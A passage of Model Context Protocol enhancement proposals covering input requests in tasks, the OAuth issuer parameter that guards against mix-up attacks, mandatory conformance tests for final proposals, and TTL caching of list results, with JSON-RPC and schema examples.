"lastUpdatedAt": "2026-01-27T03:38:08.1234567Z",
"ttl": 60000,
"pollInterval": 100
}
}
```
11. Client Request calls `tasks/result` to get the final result of the
`Task` from the server.
```json theme={null}
{
"id": 6,
"jsonrpc": "2.0",
"method": "tasks/result",
"params": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
```
12. Server Response with the final result of the `Task`
```json theme={null}
{
"id": 6,
"jsonrpc": "2.0",
"result": {
"resultType": "complete",
"isError": false,
"content": [
{
"type": "text",
"text": "Echo: Hello World!"
}
],
"_meta": {
"io.modelcontextprotocol/related-task": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
}
}
```
#### Protocol Requirements for Persistent Workflow
1. **Server Behavior:**
* Servers MAY respond to `tasks/get` by indicating that the task
is in state `input_required`.
* Servers MUST include an `inputRequests` field in the
`tasks/result` response when the task is in state `input_required`.
2. **Client Behavior:**
* When `tasks/get` shows state `input_required`, clients MUST call
`tasks/result` to get the input requests. Clients SHOULD construct the results of those requests, and then call `tasks/input_response` with the input responses to provide the required input for the task.
* Clients MAY choose not to fulfill the input requests, in which case they can cancel the task.
### Interactions Between Ephemeral and Persistent Workflows
If a tool implementation needs the client to respond to a set of
input requests before it can even start processing but then later
needs to do persistent processing, it can start using the ephemeral
workflow and then switch to the persistent workflow by creating a task
at that point. This avoids the need for the server to store state until
it actually has the information needed to start processing the request.
This workflow would look like this:
1. Client sends tool call request with task metadata.
2. Server sends back `inputRequests` response indicating that more information is needed to process the request. This terminates the original request.
3. Client sends a new tool call request, completely independent of the
original one, which includes the `inputResponses` object along with the task metadata.
4. Server sends back a task ID, indicating that it will be processing the
request in the background. All subsequent interaction will be done
via the Tasks API.
Note that the opposite is not true: Once a tool implementation returns a
task, it has committed to storing state on the server side for the
duration of the task, and there is no way to transition back to the
ephemeral model. All subsequent interactions must be performed via the
Tasks API.
### Guidance for Error Handling
This section provides implementation guidance for error handling in scenarios where the client provides unexpected or malformed data in the `inputResponses` object.
As with any received request, the server SHOULD validate the data provided by the client is a valid `inputResponses` object and that the information inside can be correctly parsed. Protocol errors, like malformed JSON, invalid schema, or internal server errors which prevent the processing of the request should return a `JSONRPCErrorResponse` with an appropriate error code and message.
If additional parameters are provided in the `inputResponses` object The server SHOULD treat these as optional parameters. Therefore it SHOULD ignore any unexpected information in the `inputResponses` object that it does not recognize or need.
The client may also fail to send all the information requested in previous `inputRequests`. If the missing information requested is necessary for the server to process the request, then it SHOULD respond with a new `InputRequiredResult`.
We discussed having a specific application level error code returned, however the client may not have enough information to recover in all scenarios. Therefore, we decided to rely on the existing mechanics of requesting more input via `InputRequiredResult` to ensure a client can always recover by having the server request the necessary information again.
Malicious clients could intentionally send incorrect information in the `inputResponses` object, and generate load on the server by causing it to repeatedly request the same information. However, this is not a new concern introduced by this workflow, since malicious clients could already generate load by sending malformed requests. Server implementors can use standard techniques like rate limiting and throttling to protect themselves from such attacks.
In the ephemeral workflow, this would look like the following:
1. The client retries the original tool call, this time including the `inputResponses` object, but the response is missing required information that the server needs to process the request.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
},
"inputResponses": {
"not_requested_info": {
"action": "accept",
"content": {
"not_requested_param_name": "Information the server did not request"
}
}
}
}
}
```
2. The server responds with an incomplete response, indicating that the client needs to respond to an elicitation request in order for the tool call to complete, and including request state to be passed back:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "input_required",
"inputRequests": {
"github_login": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": {
"type": "string"
}
},
"required": ["name"]
}
}
}
}
}
}
```
2. The Server responds with an incomplete response, indicating that the client needs to provide missing information for the request to succeed.
In the persistent workflow, this would look like the following:
Step 7 from above: Client Request The client mistakenly or maliciously sends unexpected, but well-formed data to the server in response to the input request.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"method": "tasks/input_response",
"params": {
"inputResponses": {
"echo_input": {
"action": "accept",
"content": {
"not_requested_parameter": "Information the server did not request."
}
}
},
"_meta": {
"io.modelcontextprotocol/related-task": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
}
}
```
Step 8 from above. Server Response Server acknowledges the receipt of the response by sending a `JSONRPCResultResponse`. However, since the response is missing required information, the server does not proceed with processing the task and leaves the Task status as `input_required`. The next time the client calls `tasks/result`, the server responds with a new `inputRequest` requesting the necessary information again.
```json theme={null}
{
"id": 4,
"jsonrpc": "2.0",
"result": {
"_meta": {
"io.modelcontextprotocol/related-task": {
"taskId": "echo_dc792e24-01b5-4c0a-abcb-0559848ca3c5"
}
}
}
}
```
## Rationale
We considered a bidirectional stream approach to replace SSE streams.
However, that approach would have made the wire protocol more
complicated (e.g., it would have required HTTP/2 or HTTP/3). Also, it
would not have eliminated problems for environments that cannot support
long-lived connections, nor would it have addressed fault tolerance
issues.
There was discussion about whether the input requests should be a
map or just a single object, possibly leveraging some field inside of
the requests (e.g., the elicitation ID) to differentiate between them.
We decided that the map makes sense, since it structurally guarantees
the uniqueness of keys, which will avoid the need for explicit checks in
SDKs and applications to avoid conflicts.
In the persistent workflow, we considered including the input requests
directly in the `tasks/get` response, rather than requiring the client
to see the `input_required` status and then call `tasks/result` to get
the input requests. We decided to keep those two things separate in
deference to implementations that use separate infrastructure for task
state and for the actual tool implementation; the idea is that the
`tasks/get` call should have a consistent latency profile, regardless of
what the task state actually is. We recognize that this requires an
extra round-trip to the server, but we can optimize this in the future
if becomes a problem.
## Backward Compatibility
Today many sdks support elicitation via an in-line but async fashion which waits for
the elicitation response before sending the tool call response on the original SSE stream, this works for MCP Servers that are a single-process or can ensure sticky routing of requests.
```python theme={null}
def my_tool():
do_work()
await elicit_more_info()
do_more_work()
return tool_result
```
SDKs MAY continue to support this style of elicitation for existing tools and for backwards compatibility, however, they SHOULD mark this pattern as legacy/deprecated.
Moving forward examples and SDKs need to support the new style of elicitation where the code can not assume the same process is handling both tool calls. This programming model is less appealing, however it ensures that MCP Servers can go from a single process Stdio MCP server to a multi-process remote MCP Server without major rewrites, and ensures we have a single recommended way to do elicitation moving forward.
```python theme={null}
def my_tool(request):
if(request.requestState):
state = decode(request.requestState)
if(request.inputResponses):
additionalInfo = decode(request.inputResponses)
do_work(state, additionalInfo)
if(more_info_needed):
return IncompleteResponse();
else
do_more_work()
return tool_result
```
Other options considered here were to have two separate programming models that developers could choose between based on their MCP Server deployment single-process or multi-process to continue to support the await semantics, however this would have added complexity to the developer experience, and would have made it more difficult for developers to switch between single-process and multi-process deployments.
## Security Implications
Because `requestState` passes through the client, malicious or
compromised clients could attempt to modify it to alter server behavior,
bypass authorization checks, or corrupt server logic. To mitigate this,
we require servers to validate this state as described in the protocol
requirements above.
## Reference Implementation
TBD
### Acknowledgments
Thanks to Luca Chang (@LucaButBoring) for his valuable input on how to
integrate input requests into Tasks.
# SEP-2468: Recommend Issuer (iss) Parameter in MCP Auth Responses
Source: https://modelcontextprotocol.io/seps/2468-recommend-issuer-claim-for-auth
Recommend Issuer (iss) Parameter in MCP Auth Responses
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2468 |
| **Title** | Recommend Issuer (iss) Parameter in MCP Auth Responses |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-03-25 |
| **Author(s)** | Emily Lauber ([@EmLauber](https://github.com/EmLauber)) |
| **Sponsor** | [@pcarleton](https://github.com/pcarleton) |
| **PR** | [#2468](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2468) |
***
## Abstract
This SEP proposes recommending the inclusion and requiring the validation of an explicit issuer (iss) parameter in Model Context Protocol (MCP) authorization responses to mitigate authorization mix‑up attacks. By binding authorization responses to a specific authorization server identity, MCP clients can reliably detect and reject responses originating from an unexpected issuer, improving protocol robustness in multi‑identity provider (IdP) environments. This SEP follows the specifications defined in [RFC9207](https://datatracker.ietf.org/doc/rfc9207/).
## Motivation
The Model Context Protocol increasingly operates in environments where multiple authorization servers, identity providers, and intermediaries coexist. In such environments, OAuth mix‑up attacks become a realistic threat. Mix-up attacks are when an attacker causes a client to associate an authorization response with the wrong authorization server, potentially leading to token leakage or privilege escalation.
OAuth specifications describe two mitigations for mix‑up attacks: requiring issuer (*iss*) parameter or using a unique redirect\_uri for each issuer a client interacts with. A unique redirect\_uri per issuer is not possible with Client ID Metadata Documents (the recommended registration approach) and is operationally expensive with Dynamic Client Registration. As such, the recommendation is for MCP environments to leverage the issuer mitigation.
Requiring an explicit iss parameter in MCP authorization responses provides a simple, interoperable, and well‑understood mechanism to bind responses to the correct authorization server and prevent mix‑up attacks by construction. Since not every authorization server sends the issuer parameter though, this SEP proposes a MUST for clients to validate issuer if provided and a SHOULD for authorization servers supporting MCP scenarios. Future SEPs and releases may change the SHOULD to a MUST.
## Specification
### Issuer Parameter Requirement
MCP authorization servers SHOULD include an issuer (*iss*) parameter in authorization responses, including error responses, as defined in [RFC9207](https://datatracker.ietf.org/doc/html/rfc9207#section-2). Authorization servers that do so MUST advertise it by setting `authorization_response_iss_parameter_supported: true` in their authorization server metadata.
The `iss` parameter MUST:
* Exactly match the issuer identifier advertised via metadata discovery
* Be a URL that uses the `https` scheme without query or fragment components ([RFC 8414 Section 2](https://datatracker.ietf.org/doc/html/rfc8414#section-2))
### Client Validation Requirements
MCP clients MUST validate the *iss* parameter in authorization responses by:
* Determining the expected issuer for the authorization request
* Comparing the received *iss* value against the expected issuer
* Rejecting the authorization response if the values do not match exactly
If issuer validation fails, the client **MUST** treat the response as invalid and abort the authorization flow.
## Rationale
The iss value is already used in OpenID Connect and JWT‑based token validation. Extending its use to MCP authorization responses:
* Leverages existing ecosystem knowledge and tooling
* Avoids introducing MCP‑specific security mechanisms
* Provides a clear and auditable security for deployments
### Alternatives considered
Introducing MCP‑specific issuer binding fields
* Rejected in favor of reusing established OAuth/OIDC mechanisms.
Requiring unique redirect\_uri per issuer
* CIMD metadata documents are static and cannot enumerate every issuer; with DCR it is technically possible but DCR has operational drawbacks in MCP deployments that make it undesirable to depend on for a security property. RFC 9207 works uniformly across registration approaches.
Discarding `iss` when the server does not advertise support (strict RFC 9207 §2.4 SHOULD)
* RFC 9207 §2.4 recommends that clients SHOULD discard responses carrying `iss` from servers that do not set `authorization_response_iss_parameter_supported`, but explicitly leaves the decision to local policy ("specific guidance is out of scope"). This SEP specifies comparison instead. The recorded issuer always comes from a metadata document the client has already validated per RFC 8414 §3.3, so a present `iss` can be checked against an authentic baseline; rejection on mismatch remains unconditional, so the only behavioral difference is accepting a response whose `iss` matches that baseline — which is not a relaxation. In practice, authorization servers often begin emitting `iss` before their metadata is updated, and discarding in that window would reject legitimate flows without security benefit.
## Backward Compatibility
The `iss` parameter is additive on the wire. Client validation introduces a behavioral change for hosts whose authorization server advertises `authorization_response_iss_parameter_supported: true` but whose callback handling does not yet pass `iss` to the SDK; those flows will be rejected until the host extracts `iss` from the redirect URI alongside `code`. SDKs are expected to widen callback signatures additively (e.g., an optional `iss` argument) so existing call sites continue to compile. Authorization servers that do not advertise support are unaffected. The accompanying RFC 8414 Section 3.3 metadata-validation requirement restates an existing RFC MUST; clients that were not already enforcing it may surface latent issuer misconfigurations on upgrade.
## Security Implications
This proposal is a mitigation against mix-up attacks; the security considerations for the mechanism itself are documented in [RFC9207 Section 4](https://datatracker.ietf.org/doc/html/rfc9207#section-4). In particular, the mitigation depends on clients establishing the expected issuer before redirecting and on the comparison being an exact simple string comparison. See also the MCP [security best practices](/docs/tutorials/security/security_best_practices).
## Reference Implementation
* Go SDK: [modelcontextprotocol/go-sdk#859](https://github.com/modelcontextprotocol/go-sdk/pull/859)
* TypeScript SDK: [modelcontextprotocol/typescript-sdk#1957](https://github.com/modelcontextprotocol/typescript-sdk/pull/1957)
Both record the expected issuer before redirect and compare any received `iss`, rejecting on absence only when the server advertises support.
***
### Acknowledgments
Thanks to Sam Morrow, Max Gerber, Aaron Parecki, Stephen Halter, Nate Barbettini, Karl McGuinness, and Den Delimarsky for reviews and discussion in the Auth Mix-Up Attack Prevention working group.
# SEP-2484: Require Conformance Tests for Standards Track SEPs to Reach Final Status
Source: https://modelcontextprotocol.io/seps/2484-conformance-tests-required-for-final-seps
Require Conformance Tests for Standards Track SEPs to Reach Final Status
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2484 |
| **Title** | Require Conformance Tests for Standards Track SEPs to Reach Final Status |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2026-03-27 |
| **Author(s)** | Paul Carleton ([@pcarleton](https://github.com/pcarleton)) |
| **Sponsor** | None |
| **PR** | [#2484](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2484) |
***
## Abstract
This SEP adds a conformance test requirement to the `Accepted → Final` transition for Standards Track SEPs. Before a Standards Track SEP that changes observable protocol behavior can be marked `Final`, a conformance scenario covering its normative requirements must be merged into the conformance repository, accompanied by a structured traceability file mapping each MUST/MUST NOT and SHOULD/SHOULD NOT to a check or a documented exclusion. This keeps the conformance suite synchronized with the specification as it evolves, gives SDK maintainers an executable target for implementation, and makes SEP-1730's tier percentages a meaningful measure of spec coverage. Process and Informational SEPs are exempt, as are Standards Track SEPs with no observable protocol behavior.
## Motivation
### The gap between specification and implementation
The MCP specification is written in English. SDK maintainers translate that English into code, and every translation is an opportunity for drift. SEP-1730 (SDK Tiering) already depends on conformance tests (Tier 1 requires 100% pass rate, Tier 2 requires 80%), but there is no mechanism keeping the suite synchronized with the spec. When a SEP reaches `Final`, SDK maintainers implement from prose and hope they interpreted it the same way every other SDK did. Conformance tests arrive later, if at all, and when they do they sometimes reveal that two "compliant" SDKs disagree.
### Why the existing reference implementation requirement is insufficient
A **reference implementation** proves the feature can be built: one valid interpretation. A **conformance test** defines what every implementation must do: the normative requirements as executable assertions. A TypeScript reference implementation tells a Rust maintainer little about whether their code is correct. A conformance test tells them precisely, and when it doesn't, the disagreement surfaces an ambiguity in the spec itself.
### Keeping the conformance suite alive
The conformance suite is the yardstick SEP-1730's tier percentages measure against. If it falls behind, an SDK could be "100% compliant" while missing major specification features. Tying tests to the SEP lifecycle creates a forcing function: the suite grows exactly as fast as the spec does.
## Specification
### Scope
This requirement applies **only** to Standards Track SEPs that introduce or modify **observable protocol behavior**: behavior a conformant peer can detect by inspecting messages on the wire, transport-observable side effects (HTTP status codes, headers, connection lifecycle, OAuth redirects), or process-observable side effects for local transports (stdio stream content, exit codes).
The following are **exempt**:
* **Process SEPs** (governance, workflow, community structure)
* **Informational SEPs** (guidelines, best practices without normative force)
* **Standards Track SEPs with no observable protocol behavior**, for example:
* Documentation-only clarifications of existing behavior
* Schema annotations that do not change validation or runtime behavior
* Security recommendations describing implementation hardening rather than wire-level requirements
The conformance suite itself is not restricted to official SDKs. Any implementation (official SDK, community SDK, or custom deployment) may run it and report a compliance percentage.
### The requirement
For a Standards Track SEP in scope to transition from `Accepted` to `Final`:
1. **A conformance scenario** tagged with the SEP number is merged into the conformance repository, targeting the conformance repository's draft spec-version tag for the upcoming release.
2. **A traceability file** accompanies the scenario. See below.
3. **The scenario passes** against the SEP's reference implementation.
When that spec version is released, the scenario's spec-version tag is updated from the draft tag to the dated version as part of the normal release process. The conformance harness and the SDK under test must both recognize the draft tag as a negotiable protocol version so that the new requirements are actually exercised.
### Traceability file
The traceability file is a structured file (`sep-NNNN.yaml`) in the conformance repository. It maps each normative requirement in the SEP's Specification section to the check that exercises it, or documents why it is excluded:
```yaml theme={null}
sep: 1234
spec_url: https://modelcontextprotocol.io/specification/draft/section#anchor
requirements:
- check: sep-1234-foo-present
text: "MUST include `foo` in the response"
- check: sep-1234-bar-absent
text: "MUST NOT send `bar` before initialization"
- check: sep-1234-qux-present
text: "SHOULD include `qux` when available"
- check: sep-1234-baz-rejected
text: "MUST reject requests with invalid `baz`"
- text: "MUST retry on 503"
excluded: "Requires fault injection; not currently supported by framework"
issue: https://github.com/modelcontextprotocol/conformance/issues/N
- text: "MUST be rendered in a monospace font"
excluded: "Client rendering; not observable at the protocol level"
```
Structured data lets tooling link check failures back to spec sections and lets the conformance CLI report coverage per SEP.
Exclusions come in two flavors. **Framework gaps** (the behavior is observable but the framework can't express it yet) should link a tracking `issue`. **Not protocol-observable** (the requirement governs client rendering, implementation internals, or similar) needs only the `excluded` reason. A SEP whose requirements are all the second kind is exempt and doesn't need a scenario at all.
The sponsor verifies the traceability file is complete: every MUST, MUST NOT, SHOULD, and SHOULD NOT (and RFC 2119 equivalents: SHALL, REQUIRED, RECOMMENDED) in the SEP's Specification section has a row. Checks for SHOULD-level requirements report as warnings rather than failures. MAY requirements do not need rows. The sponsor does not review test code; that is the conformance repository's normal PR review. What counts as a normative requirement is the sponsor's call.
### Who writes the tests
The **sponsor** is responsible for ensuring a conformance scenario is written. Scenarios are authored in TypeScript; contributors unfamiliar with the conformance repository should start with its [CONTRIBUTING guide](https://github.com/modelcontextprotocol/conformance/blob/main/CONTRIBUTING.md). In practice the SEP author is often best positioned, since writing the test surfaces ambiguities in the normative language that are cheaper to fix before `Final` than after.
### Specification text is authoritative
Conformance tests are derived from and **subordinate to** the specification text. Where a test and the spec disagree, the spec is authoritative and the test is a bug.
### Conformance test disputes
If an implementer believes a merged conformance test contradicts the spec, they open an issue in the conformance repository citing the specific spec text. A test is considered disputed once a conformance maintainer applies the `disputed` label; disputed tests do not affect SEP-1730 tier assessments until resolved.
Most disputes resolve through normal issue triage: the test is fixed, the spec is clarified, or the dispute is closed with rationale. If the disagreement is fundamental (the disputing party and the conformance maintainers cannot agree on what the spec means), either party may escalate unilaterally to Core Maintainers for a ruling, though joint escalation is preferred since the goal is to resolve ambiguity rather than win an argument. The same escalation path is available to a sponsor if a scenario PR is blocked on non-technical grounds.
### Test stability and tiering
SEP-1730 tier assessments are run against a **pinned conformance release version**, not the tip of the conformance repository. New checks added to a SEP's scenario after the SEP is `Final` (whether additional edge cases or coverage of previously-excluded requirements) land in the conformance repository's main branch but only affect tier percentages when the next tiering assessment adopts a newer conformance release.
This means SDK maintainers have a stable target between tiering waves, and the conformance suite can evolve continuously without surprise regressions in tier status.
### Sponsor responsibilities
SEP-1850 makes the sponsor responsible for tracking reference implementation progress before marking a SEP as `Final`. This SEP extends that responsibility: for Standards Track SEPs in scope, the sponsor also confirms that a conformance scenario tagged with the SEP number is merged with a complete traceability file, or that an exemption is documented in the SEP.
### Relationship to SEP-1730 (SDK Tiering)
This SEP strengthens SEP-1730's foundation without changing its tier definitions or thresholds. Tier assessments use pinned conformance releases, so new checks do not retroactively affect tier status. Disputed tests do not count toward tier percentages until resolved.
Scenario contributions covering existing spec behavior (not tied to a new SEP) remain welcome and are not required to carry a traceability file.
### Relationship to SEP-1627 (Conformance Testing)
This SEP **supersedes** SEP-1627 by accepting the conformance repository as the canonical home for conformance tests and formalizing its role in the SEP lifecycle. SEP-1627's golden-trace approach was not carried forward; the scenario-and-checks model trades language-neutral fixtures for runtime expressiveness. SEP-1627's protocol-debugger ideas remain valuable future work.
## Rationale
### Why gate `Final` rather than `Accepted`?
Gating `Accepted` would require tests before Core Maintainers have agreed the feature belongs in the spec, wasting effort on rejected SEPs.
That said, writing a conformance test *during* SEP drafting is often valuable: it forces precision in MUST/MUST NOT language and surfaces edge cases the prose glosses over. Authors are **encouraged** to draft a conformance scenario before Core Maintainer review, especially for SEPs with complex behavioral requirements. It is not required, because small SEPs may not justify the upfront effort, and a rejected SEP's test is wasted work.
Gating `Final` places the hard requirement where the reference implementation requirement already sits: the SEP has consensus, and the remaining work is implementation.
### Why a traceability file?
Without a defined coverage bar, "has a conformance test" would be relitigated on every SEP: does one check suffice, or must every MUST be covered? The traceability file makes coverage auditable: every normative statement has a row, and every row is either a check or a documented exclusion. "Sufficient" becomes "the file is complete."
The file also makes gaps visible. A SEP with ten MUSTs and eight exclusions is a signal: either the SEP is genuinely hard to test (the tracking issues say why) or the test author stopped early (the sponsor should push back).
### Why put the authorship obligation on the sponsor?
The sponsor already shepherds the SEP through review, tracks the reference implementation, and manages status transitions. Adding "ensure a conformance test is written" is a small marginal addition to an existing role, with a clear owner.
### Alternatives considered
**Require conformance tests in the SEP PR itself.** Rejected: couples two independent review processes with different maintainers and CI.
**Gate only "major" SEPs.** Rejected: "major" is subjective. The observable-behavior scope is objective: either a conformant peer can detect the change, or it cannot.
**Make conformance maintainers the sufficiency judges.** Rejected: concentrates veto power in a group not elected to approve spec changes. The traceability-file model lets the sponsor verify completeness without reading test code.
## Backward Compatibility
This SEP is **not retroactive**. SEPs that reached `Final` before this SEP takes effect are not required to add conformance tests, though contributions are welcome.
## Security Implications
None directly. Conformance tests that exercise security-relevant behavior (auth flows, input validation, transport security) improve the ecosystem's security posture by catching regressions, but this SEP does not mandate security-specific coverage beyond what the underlying SEP's MUSTs require.
## Reference Implementation
The conformance repository already demonstrates the scenario-tagging pattern this SEP formalizes:
* [`JsonSchema2020_12Scenario`](https://github.com/modelcontextprotocol/conformance/blob/main/src/scenarios/server/json-schema-2020-12.ts) — SEP-1613
* [`ElicitationDefaultsScenario`](https://github.com/modelcontextprotocol/conformance/blob/main/src/scenarios/server/elicitation-defaults.ts) — SEP-1034
* [`ServerSSEPollingScenario`](https://github.com/modelcontextprotocol/conformance/blob/main/src/scenarios/server/sse-polling.ts) — SEP-1699
* [`ElicitationEnumsScenario`](https://github.com/modelcontextprotocol/conformance/blob/main/src/scenarios/server/elicitation-enums.ts) — SEP-1330
The structured traceability file format and the scenario scaffolding tool (`npx @modelcontextprotocol/conformance new-scenario --sep `) will be added to the conformance repository before this SEP reaches `Final`.
The process change is implemented by updating `docs/community/sep-guidelines.mdx` to add the conformance check to the `Accepted → Final` transition (see the accompanying changes in this PR).
## Prerequisites for Final status
Before this SEP itself can be marked `Final`, the following conformance-repository work must be complete:
* Structured traceability file format (`sep-NNNN.yaml`) and schema
* Scenario scaffolding tool
* Conformance harness supports a draft spec-version tag as a negotiable protocol version
* `MAINTAINERS.md` published and the repository listed in MCP governance documentation
These are this SEP's own reference implementation checklist, not ongoing process requirements.
# SEP-2549: TTL for List Results
Source: https://modelcontextprotocol.io/seps/2549-TTL-for-list-results
TTL for List Results
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2549 |
| **Title** | TTL for List Results |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-04-09 |
| **Author(s)** | Caitie McCaffrey ([@CaitieM20](https://github.com/CaitieM20)) |
| **Sponsor** | [@CaitieM20](https://github.com/CaitieM20) |
| **PR** | [#2549](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2549) |
***
## Abstract
This SEP proposes adding fields to support caching result objects returned by `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list`. Two fields will be added `ttlMs` and `cacheScope`. The TTL tells clients how long the response may be considered fresh before re-fetching. This allows clients to cache feature lists and reduce reliance on server-push notifications while remaining fully backward compatible. The `cacheScope` field controls who may cache a response. TTL supplements rather than replaces the existing notification mechanism — both can coexist.
## Motivation
Today, MCP clients discover server features by invoking methods on the server. These calls return the current set of features. To learn about changes, clients rely on push notifications from the server. The below table maps the Server Method to Notification Type.
| Server Methods | Notification Type |
| -------------------------- | -------------------------------------- |
| `tools/list` | `notifications/tools/list_changed` |
| `prompts/list` | `notifications/prompts/list_changed` |
| `resources/list` | `notifications/resources/list_changed` |
| `resources/templates/list` | `notifications/resources/list_changed` |
| `resources/read` | `notifications/resources/updated` |
This approach has several limitations:
1. **HTTP-based transports require SSE Streams**: Many clients and servers have challenges supporting long lived SSE streams which are necessary for notifications. The goal is to make SSE streams an optional optimization, but support protocol functionality without them. A TTL allows clients to poll on a predictable schedule without relying on server-push notifications.
2. **Implementation complexity**: Both clients and servers must implement notification subscription and delivery infrastructure. Many simple servers have feature lists that change infrequently (or never), yet must still support the notification machinery if they want clients to stay current.
3. **No freshness signal**: Even clients that can receive notifications have no indication of how "stable" a list is. A server whose tool list changes once a day and one whose list changes every second look identical to the client — both simply send notifications when changes occur. A TTL provides an explicit freshness hint.
4. **Alignment with web standards**: HTTP caching (`Cache-Control: max-age`) and DNS TTLs have long demonstrated that time-based freshness hints are a simple, well-understood mechanism for reducing unnecessary refetches. MCP can benefit from the same pattern.
Adding a TTL field to list responses solves all of these problems with a minimal, backward-compatible protocol change.
## Specification
### New interface: `CacheableResult`
A new `CacheableResult` interface is introduced as a standalone type extending `Result`. It owns the `ttlMs` and `cacheScope` fields.
#### Schema change (TypeScript)
```typescript theme={null}
/**
* A result that supports a time-to-live (TTL) hint for client-side caching.
*
* @internal
*/
export interface CacheableResult extends Result {
/**
* A hint from the server indicating how long (in milliseconds) the
* client MAY cache this response before re-fetching. Semantics are
* analogous to HTTP Cache-Control max-age.
*
* - If 0, The response SHOULD be considered immediately stale, The client
* MAY re-fetch every time the result is needed.
* - If positive, the client SHOULD consider the result fresh for this many
* milliseconds after receiving the response.
*/
ttlMs: number & { readonly minimum: 0 };
/**
* Indicates the intended scope of the cached response, analogous to HTTP
* Cache-Control: public vs Cache-Control: private.
*
* - "public": Any client or intermediary (e.g., shared gateway, proxy)
* MAY cache the response and serve it to any user.
* - "private": Only the requesting user's client MAY cache the response.
* Shared caches (e.g., multi-tenant gateways) MUST NOT serve a cached
* copy to a different user.
*
* Defaults to "public" if absent.
*/
cacheScope: "public" | "private";
}
```
### Semantics
A TTL is a freshness estimate, not a guarantee. Servers MAY change the underlying list before the TTL expires; servers that do so and have advertised listChanged SHOULD send the corresponding notification.
Servers MUST provide a `ttlMs` on `Results` returned by `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list`.
`ttlMs` MUST be >= 0. If a server returns a negative value, clients SHOULD ignore it and treat it as 0 (immediately stale).
| Condition | Client behavior |
| -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| `ttlMs` = 0 | The response SHOULD be considered immediately stale, The Client MAY re-fetch every time the result is needed. |
| `ttlMs` > 0 | Client SHOULD consider the response fresh for `ttlMs` milliseconds from receipt. |
| Relevant notification received while TTL is active | The notification invalidates the cached response. Client SHOULD re-fetch regardless of remaining TTL. |
| `cacheScope` = `"public"` | Any client or shared intermediary (gateway, proxy) MAY cache and serve the response to any user. |
| `cacheScope` = `"private"` | Only the requesting user's client MAY cache. Shared caches MUST NOT serve a cached copy to a different user. |
#### Freshness calculation
A client records the local time at which the response was received (`t_received`). The response is considered **fresh** while `now < t_received + ttlMs`. Once the TTL expires the response is **stale** and the client SHOULD re-fetch on next access.
Clients SHOULD NOT treat TTL as a polling interval that triggers automatic background refetches. The TTL is a **freshness hint**: the client checks freshness when it needs the list, and re-fetches only if stale. Implementations that do choose to poll SHOULD apply jitter and backoff.
Clients MAY re-fetch if they have reason to believe the data has changed, even if the TTL has not yet expired. Examples include receiving an unexpected error on a tool call indicating that the the method was not found or the parameters were invalid.
Clients MAY serve stale responses if errors occur in re-fetching results(e.g., network issues, server downtime). The TTL is a hint for how long the client can safely rely on the data, but real-world conditions may require flexibility.
### Cache scope
The `cacheScope` field controls who may cache a response:
* **`"public"`**: The response does not contain user-specific data. Any client, shared gateway, or caching proxy MAY store and serve the cached response to any user. This is appropriate for lists of tools, prompts, and resource templates that are identical for all users.
* **`"private"`**: The response contains user-specific data. Only the requesting user's client MAY cache it. Shared caches (e.g., multi-tenant API gateways) MUST NOT serve a `"private"` cached response to a different user. This is appropriate for `resources/read` results that depend on the authenticated user, or for filtered list results that vary per user.
This design mirrors HTTP `Cache-Control: public` vs `Cache-Control: private`, applying the same well-understood semantics at the MCP protocol level.
### Interaction with notifications
TTL and server-push notifications are complementary:
* A server MAY provide `ttlMs` without advertising `listChanged: true` in its capabilities. In this case the client relies entirely on TTL.
* A server MAY advertise `listChanged: true` **and** provide `ttlMs`. In this case the client can use the TTL to avoid unnecessary refetches between notifications, and the notification acts as an immediate invalidation signal.
```mermaid theme={null}
sequenceDiagram
participant C as Client
participant S as Server
C->>S: tools/list
S-->>C: { tools: [...], ttlMs: 300000 }
Note over C: Cache response, fresh for 5 min
Note over C: 2 minutes later...
C->>C: Need tools list → cache still fresh, use cached
Note over C: 3 minutes later (TTL expired)...
C->>C: Need tools list → cache stale
C->>S: tools/list
S-->>C: { tools: [...], ttlMs: 300000 }
Note over S: Tools change before TTL expires
S-->>C: notifications/tools/list_changed
Note over C: Invalidate cache immediately
C->>S: tools/list
S-->>C: { tools: [...], ttlMs: 300000 }
```
### Interaction with pagination
When a list result is paginated (includes `nextCursor`), each page is an independently cacheable response — consistent with how HTTP `Cache-Control` treats paginated resources. Specifically:
* Each page response carries its own `ttlMs` value. The freshness clock for each page starts at the time that page was received.
* Servers MAY return different `ttlMs` values on different pages (e.g., a longer TTL for early pages of a stable list, a shorter TTL for the final page).
* There is no cross-page consistency guarantee. If the underlying data changes between page fetches, clients may observe duplicates or gaps — the same trade-off that applies to HTTP paginated APIs.
* Clients that require a consistent snapshot of the full list SHOULD re-fetch from the beginning (without a cursor).
